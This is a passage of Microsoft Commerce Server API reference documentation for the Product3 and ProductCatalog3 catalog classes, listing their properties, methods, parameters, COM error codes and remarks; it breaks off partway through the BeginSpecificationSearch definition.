This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.

Remarks

The GetProductProperties parameter contains valid data only if the property was accessed successfully.

The returned single-row Recordset contains all the fields defined for the product definition as well as all the common fields in the CatalogProduct Recordset. The recordset also contains the ProductID property of the catalog if the ProductID property is not a part of the product definition.

The Recordset returned is updateable, but disconnected. To modify the product properties, pass this Recordset to the SetProductProperties method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.SetProductProperties


Product3.ParentCategories Property (PIA)

The ParentCategories property is a read-only Recordset that contains the names of categories that directly contain this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public ReadOnly Property ParentCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset ParentCategories {get;}
[C#]

Property Value

A _Recordset interface to an ADODB26Lib.Recordset object containing the parent categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

If the product is not contained in any categories, the returned recordset will be empty, and its EOF property will be set to True.

The returned recordset contains the fields listed in the following table.

Field | Data Type | Description
CategoryName String
Maximum of 128 characters 		Name of the category containing this product.
DisplayName String
Maximum of 128 characters 		Display name of the category.
FvirtualCatalog | bit | For a virtual catalog this field specifies if this link was inherited (value 0) or explicitly added (value 1). For a base catalog this field will always be 0.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.AncestorCategories


Product3.PricingCategory Property (PIA)

The PricingCategory property is a read/write String that contains the name of the pricing category for this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Property PricingCategory As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string PricingCategory {get; set;}

Property Value

A string that contains the pricing category.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category must be set before using this for pricing.

Remarks

Using a category as a Pricing category allows you to set the prices of multiple products by making a single change, rather than having to change the price for each product. Setting the Pricing category for a product family will also set the Pricing category for all the variants of the product family.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.PrimaryParent Property (PIA)

The PrimaryParent property is a read/write String that contains the primary parent category.

Definition

[Visual Basic .NET]
…
Public Property PrimaryParent As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string PrimaryParent {get; set;}

Property Value

A string that contains the primary parent.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &Hx8898001E | The product you specified does not exist.
E_CAT_PRIMARYPARENT_DOES_NOT_EXIST | [C#] 0x889800AC [Visual Basic .NET] &H889800AC | The primary parent category that you specified does not exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category must be set before using this for pricing.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Products and categories can have multiple parent-child relationships. Specifying a primary parent for a product or category simplifies the hierarchy and clarifies the application of pricing rules.

Note

  • This property cannot be modified in a virtual catalog. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object. If the category being added as a primary parent is not a parent category, then it will also be added as a parent category for the product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.ProductID Property (PIA)

The ProductID property is a read-only String that contains the unique ID for this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public ReadOnly Property ProductID As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
 string ProductID {get; }

Property Value

[C#]

A string containing the product ID.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value of this property is a copy of the value of the IdentifyingProductProperty property of the catalog containing this product.

The value of this property will always be "ProductID" for a virtual catalog.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.RelatedCategories Property (PIA)

The RelatedCategories property is a read-only Recordset object that contains the names of categories that are related to this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public ReadOnly Property RelatedCategories As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset RelatedCategories {get; set;}

Property Value

A _Recordset interface to an ADODB26Lib.Recordset containing the related categories.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[Visual Basic .NET]

The RelatedCategories property contains valid data only if it was accessed successfully.

The returned recordset contains one column for each relationship present.

The returned recordset contains the following fields:

Field Data Type Description
CategoryName String
Maximum of 128 characters 		Name of the category.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 256 characters 		Description of the relationship.
[C#]

The RelatedCategories parameter contains valid data only if the property was accessed successfully.

The returned Recordset contains one row for each relationship present.

The returned Recordset contains the following fields:

Field Data Type Description
CategoryName String
Maximum of 128 characters 		Name of the category.
RelationshipName String
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription String
Maximum of 256 characters 		Description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class

Product3.RelatedProducts

Product3.AddRelationshipToCategory


Product3.RelatedProducts Property (PIA)

The RelatedProducts property is a read-only Recordset object that contains the names of products that are related to this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public ReadOnly Property RelatedProducts As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
 …
public _Recordset RelatedProducts {get;}

Property Value

A _Recordset interface to a Recordset object containing the related products.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

The RelatedProducts parameter contains valid data only if the property was accessed successfully.

The Recordset returned contains one row for each relationship present.

The Recordset returned contains the following fields:

Field | Data Type | Description
<defined ProductID field> | Varies | The field that uniquely defines a product in this catalog.
RelationshipName string
Maximum of 128 characters 		Name of the relationship.
RelationshipDescription string
Maximum of 128 characters 		Description of the relationship.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.UseCategoryPricing Property (PIA)

The UseCategoryPricing property is a read/write Boolean that determines whether the price of the product will be determined from the PrimaryParent property of the product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Property UseCategoryPricing As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
 …
public bool UseCategoryPricing {get; set;}

Property Value

A bool that specifies whether to use category pricing.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALID_PRIMARY_PARENT | [C#] 0x889800DA [Visual Basic .NET] &H889800DA | To use category pricing for this product, you should first set a primary parent category.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_PRICING_CAT_PRICELESS | [C#] 0x8898002F [Visual Basic .NET] &H8898002F | The category you specified has no list price. The list price of the category must be set before using this for pricing.

Remarks

A value of True indicates that the price of the product will be determined from the PrimaryParent category of the product. A value of False indicates that the price of the product will not be determined from the PrimaryParent category.

Note

  • If this product is inherited by a virtual catalog, the PrimaryParent property cannot be set from the virtual catalog.

If the property is set to True the PricingCategory property will be set to and become synonymous with the PrimaryParent property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


Product3.Variants Property (PIA)

The Variants property is a Recordset that describes all of the variants of this product.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Property Variants(
  Optional strPropertyToSortOn As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset get_Variants(
  object strPropertyToSortOn );

Parameters

[Visual Basic .NET]
strPropertyToSortOn
An Object that contains the property on which the returned Recordset object is to be sorted.
[C#]
strPropertyToSortOn
An object that contains the property on which the returned Recordset object is to be sorted. Set to Type.Missing to not specify a property on which to sort.
[C#]

Return Values

This property returns a _Recordset interface to an ADODB26Lib._Recordset object containing the variants.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

If this product has no variants, the returned Recordset will be empty, and its EOF property will be set to True.

The Recordset returned contains fields for all of the properties defined for variants of this product and the following fields:

Field | Type | Description
TimeStamp | Timestamp | None
cy_list_price | Currency | List price
<defined variant ID> | Varies | None

[C#] get_Variants does not show up in IntelliSense.

[Visual Basic .NET]

Example

rsVariants = myProduct.Variants("Size")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Family

Assembly: Cataloglib (in Cataloglib.dll)

See Also

Product3 Class


ProductCatalog3 Class (PIA)

Use this object to alter catalogs and to modify catalog contents. The ProductCatalog3 object is the primary object for working with catalogs in the Product Catalog System.

Methods

Method | Description
AddLanguages | Adds support for an additional language.
AddPriceRule | Adds a price rule to a virtual catalog for a specific product or category.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | This method is obsolete.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes a category from this catalog.
DeleteCustomCatalog | This method is obsolete.
DeleteProduct | Deletes a product from this catalog.
GenerateCustomCatalog | This method is obsolete.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | This method is obsolete.
GetCustomCatalogAttributes | This method is obsolete.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependent on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Rebuilds virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free-text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | This method is obsolete.
SetCustomCatalogAttributes | This method is obsolete.

Properties

Property | Type | Description
BaseCatalogName | String | Contains the name of a base catalog for the custom catalog. This property is read-only.
CatalogName | String | Contains the name of this catalog. This property is read-only.
IdentifyingProductProperty | String | Contains the name of the column used to uniquely identify products and product families. This property is read-only.
IdentifyingVariantProperty | String | Contains the name of the column used to uniquely identify product variants. This property is read-only.
Language | BSTR | Contains the active language. This property is read/write.
RootCategories | ADODB26Lib._Recordset | Returns a recordset containing the names of categories that are the root categories for this catalog. This property is read-only.
RootProducts | ADODB26Lib._Recordset | Returns a recordset containing the products that are part of this catalog, but are not contained in any category. This property is read-only.
SearchableCategories | ADODB26Lib._Recordset | Returns a recordset with a single field that contains the names of the categories that are defined as searchable. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

Remarks

The ProductCatalog3 object is a dependent object. Obtain a pointer to the IProductCatalog3 interface by calling one of the following methods:

  • CatalogManager.GetCatalog
  • CatalogManager.CreateCatalog

Note

  • There is limit on the number of ProductCatalog3 objects upon which you can search. Full-text search breaks when searching more than 256 ProductCatalog3 objects. This is a limitation of SQL Server 2000.

Many of the ProductCatalog3 methods use a RecordSet object to return data. For more information, see CatalogProduct Recordset.


ProductCatalog3 Methods (PIA)

Methods

Method | Description
AddLanguages | Adds support for an additional language.
AddPriceRule | Adds a price rule to a virtual catalog for a specific product or category.
AddSpecificationSearchClause | Adds a search constraint to the search context when performing a specification search of this catalog.
AddVirtualCatalogRule | Adds an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current catalog.
BeginSpecificationSearch | Initiates a specification search of this catalog.
CreateCategory | Creates a new category based on the specified category definition.
CreateCustomCatalog | Creates a new custom catalog template. The returned recordset is disconnected and updateable.
CreateProduct | Creates a new product based on the specified product definition.
DeleteCategory | Deletes a category from this catalog.
DeleteCustomCatalog | Deletes a custom catalog from this catalog.
DeleteProduct | Deletes a product from this catalog.
GenerateCustomCatalog | Populates the specified custom catalog template with data derived from this catalog.
GetCatalogAttributes | Returns the attributes of this catalog. The returned recordset is disconnected and updateable.
GetCategory | Returns the specified category.
GetCategoryCustomPrice | Returns the custom price of the specified category.
GetCustomCatalogAttributes | Returns the attributes of the specified custom catalog. The returned recordset is disconnected and updateable.
GetDependentCatalogs | Returns a recordset with a single field containing all of the virtual catalogs that are dependent on this catalog.
GetLanguages | Returns a recordset with a single field containing all of the supported languages.
GetPriceRules | Returns a recordset containing the specified price rules.
GetProduct | Returns the specified product.
GetProductVariant | Returns a recordset with a single row containing all of the properties for the specified product variant.
GetSpecificationSearchClauses | Returns a recordset with a single field containing all of the search clauses for a specification search.
GetVirtualCatalogRules | Returns a recordset containing the specified virtual catalog rules.
GuaranteedSpecificationSearch | Performs a specification search in which search constraints are removed until a match is found.
PerformSpecificationSearch | Performs a specification search of this catalog using the specified search context.
Purge | Removes deleted products from the catalog table.
RebuildVirtualCatalog | Rebuilds virtual catalogs.
RegenerateFreeTextSearchIndex | Updates the free-text search index for this catalog.
RemoveLanguage | Removes the specified language from this catalog.
RemovePriceRule | Removes the specified price rule.
RemoveSpecificationSearchClause | Removes the last search constraint from the specified search context.
RemoveVirtualCatalogRule | Removes the specified virtual catalog rule.
SetCatalogAttributes | Sets attributes for this catalog.
SetCategoryCustomPrice | Defines a custom price for the specified category.
SetCustomCatalogAttributes | Sets attributes for the specified custom catalog.


ProductCatalog3.AddLanguage Method (PIA)

Use this method to add support for an additional language.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddLanguage(
  strLanguage As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddLanguage(
 string strLanguage
);

Parameters

[Visual Basic .NET]
strLanguage
A String that contains the ISO 639+1 code for the language to be added.
[C#]
strLanguage
A string that contains the ISO 639+1 code for the language to be added.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_ALREADY_EXISTS | [C#] 0x889800A0 [Visual Basic .NET] &H889800A0 | The language you specified already exists in the catalog.

Remarks

This method adds the specified language to the list of languages supported by the catalog. It will use default values if default values are specified for the property and language.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.AddPriceRule Method (PIA)

Use this method to add a price rule for a specific product or category to a virtual catalog. This method applies only to virtual catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddPriceRule(
  eCustomPricingRule As CatalogCustomPriceEnum,
  fpCustomPrice As float64,
  vrProductIDOrCategoryName As Object,
  Optional vrVariantID As Object,
  Optional fCategory As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddPriceRule(
  CatalogCustomPriceEnum eCustomPricingRule,
  float64 fpCustomPrice,
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory
);

Parameters

[Visual Basic .NET]
eCustomPricingRule
A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
fpCustomPrice
A float64 that contains the amount of the price adjustment.
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID, if the rule is specific to a variant.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True indicates a category. A value of False indicates a product. The default value is False (0).
[C#]
eCustomPricingRule
A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
fpCustomPrice
A float64 that contains the amount of the price adjustment.
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID, if the rule is specific to a variant.
fCategory
A bool that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True indicates a category. A value of False indicates a product. The default value is False (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VC_RULE_PARAM | [C#] 0x88980103 [Visual Basic .NET] &H88980103 | The ProductID or CategoryName is invalid. The ProductID and CategoryName should be passed using the ProductID(CatalogName) or CategoryName(CatalogName) format.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string, then the rule applies to the entire catalog.

Categories, products, and variant products specified in the parameters of this method must already be included in the virtual catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be applied for that variant only.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = base price + (base price * (pfpCustomPriceAmount /100)). pfpCustomPriceAmount can be positive or negative.
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.AddSpecificationSearchClause Method (PIA)

Use this method to add constraints to a specification search of this catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddSpecificationSearchClause(
 strClause As String,
 pstrSearchHandle As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddSpecificationSearchClause(
 string strClause,
 ref object pstrSearchHandle
);

Parameters

[Visual Basic .NET]
strClause
A String that contains the clause to be added to the specified specification search.
pstrSearchHandle
An Object that contains the state of the specification search to which the clause will be added. This Object is also used to return the updated state of the specification search.
[C#]
strClause
A string that contains the clause to be added to the specified specification search.
pstrSearchHandle
Set to an object that contains the state of the specification search to which the clause will be added. Returned with the updated state of the specification search.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C#] 0x8898010D [Visual Basic .NET] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....

Remarks

The specification clause contained in the strClause parameter will be appended to the existing clauses and sent to SQL Server without any changes when the specification search is performed.

[C#]

Upon successful completion, the pstrSearchHandle parameter will contain the name of the updated specification search.

The specification clause contained in the strClause parameter will be appended to the existing clauses and sent to SQL Server without any changes when the specification search is performed.

Example

[Visual Basic .NET]
myProductCatalog.AddSpecificationSearchClause(strClause, pstrSearchHandle)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.BeginSpecificationSearch

ProductCatalog3.GetSpecificationSearchClauses

ProductCatalog3.PerformSpecificationSearch


ProductCatalog3.AddVirtualCatalogRule Method (PIA)

Use this method to add an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current virtual catalog. This method applies only to virtual catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Object,
  Optional vrVariantID As Object,
  Optional fCategory As Boolean,
  Optional fExclusion As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddVirtualCatalogRule(
  string strCatalogName,
  object vrProductIDOrCategoryName,
  object vrVariantID,
  bool fCategory,
  bool fExclusion
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the catalog name.
vrProductIDOrCategoryName
An Object that contains the product ID or category name to which the rule applies.
vrVariantID
An Object that contains the variant ID to which the rule applies.
fCategory
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
fExclusion
A Boolean that specifies whether this is an inclusion or exclusion rule. A value of True indicates an exclusion rule. A value of False indicates an inclusion rule. The default value is False.
[C#]
strCatalogName
A string that contains the catalog name.
vrProductIDOrCategoryName
An object that contains the product ID or category name to which the rule applies.
vrVariantID
An object that contains the variant ID to which the rule applies.
fCategory
A bool that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
fExclusion
A bool that specifies whether this is an inclusion or exclusion rule. A value of True indicates an exclusion rule. A value of False indicates an inclusion rule. The default value is False.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C#] 0x889800FC [Visual Basic .NET] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C#] 0x889800FD [Visual Basic .NET] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_TOO_MANY_BASECATALOGS | [C#] 0x88980106 [Visual Basic .NET] &H88980106 | The limit (84) on the maximum number of base catalogs that can be included in a virtual catalog has been exceeded.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string, then the entire catalog will be included.

Exclusion rules always override inclusion rules. If you exclude a category you cannot include any category or product contained within that category. Conversely, you can exclude any category or product contained within a category you have included.

If a value is provided for the vrVariantID parameter, then the rule will apply only to that variant of the product. If any variant of a product is included, then the product will be implicitly included. It is not possible to have a variant without a parent product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.BeginSpecificationSearch Method (PIA)

Use this method to initialize a specification search of a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function BeginSpecificationSearch(
  strCategoryName As String,
  Optional pRSInitialPropValuesList As Object,
  Optional plTotalRecordsAvailable As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public string BeginSpecificationSearch(
